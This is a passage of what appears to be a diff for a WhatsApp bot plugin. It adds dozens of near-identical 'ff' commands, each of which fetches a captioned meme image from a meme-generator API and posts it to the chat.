message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff28 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/bf886fc083f66fb404ff1.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff29 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/d60199bc191c261497813.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff30 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a4c9fa2db7598d876345b.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff31 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0c87d73846b138193b203.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff32 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/c41f0c5ec4a3874dfd7fe.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff33 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/8c082e45671f2726c4010.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff34 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/dd660681c36a3126c590f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff35 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6c1412d523455abb2677a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff36 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a421f4d85a38545be4926.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff37 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f0568921ca66fc0b01b83.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff38 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/816aaa82629bfa202f3d4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff39 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/91ec01a9b6375b414803c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff40 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/5e0c5e4999b8aa21c021f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff41 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0a9ae825b02db2cc591bb.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff42 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0df898e2ad77b8f69f91c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff43 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/e354930c0989a3077485e.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff44 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b41fc723da2d9835f0151.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff45 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/bc64365aa73d60de3dcfd.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff46 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b82196ba630383df9da76.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff47 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/8013933a6603cf2d75f94.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff48 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/4cd1004d8c8f3a800138f.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff49 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/7e9911e44f490fd5ba4bf.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff50 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/816aaa82629bfa202f3d4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({pattern: 'ffpack', fromMe: true, desc: Ln,}, (async (message, match) => { + + await message.client.sendMessage( + + message.jid,code, MessageType.text); + + })); + + Julie.addCommand({ pattern: 'ff2 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/ecf60ef31d7e75c2620fd.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff1 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/db68993a2656b4748a16a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff3 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/4cc2fe3ca2a712d3b14cc.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by DARK KNIGHT' }) + + })); + + Julie.addCommand({ pattern: 'ff4 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0a25356767c7833bbd9ca.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff5 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/33eb446f4132e76a2fd58.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff6 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/2f7de65a46ed366a63676.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff7 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/e5f8d6f2e9f9000ebe3d9.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff8 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6090aadefff57762e8b35.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff9 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/6ad8890337f9f2ea3b92a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff10 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/244312383300b34f99bcc.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff11 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/b670c4eca0fafdb88a7f0.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff12 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/95a088f7b0453d4d82b7a.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff13 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/fd7500684c9ae986befc3.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff14 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/1e962653c4412f5271844.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff15 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/24483aa07e99edad88b4c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff16 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/129a6861e1efdfd0f7bca.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff17 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/deab8459bd6d06b4f9421.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff18 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/696f93289f32687d3b4f7.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff19 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f0145f46d111ed493e62b.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff20 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f577262bce9b3733402ea.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff21 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/099f8580a45433eb6688c.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff22 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a1fe3fe9e295c24256ede.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff23 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/2056e2cdd3a30971da0a6.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff24 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/c730c8c57cfccb7756dc4.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff25 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/d3749dfe51e3f13012e8e.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff26 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/f376a881b40c1e994d75d.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff27 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/1d307457e0778ae9b0d44.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + + Julie.addCommand({ pattern: 'ff28 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/bf886fc083f66fb404ff1.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff29 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/d60199bc191c261497813.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff30 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/a4c9fa2db7598d876345b.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff31 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/0c87d73846b138193b203.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff32 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/c41f0c5ec4a3874dfd7fe.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff33 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://telegra.ph/file/8c082e45671f2726c4010.jpg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption:Config.ALL}) + + })); + Julie.addCommand({ pattern: 'ff34 ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '' ) return await message.sendMessage(ll); + + var ttinullimage = await 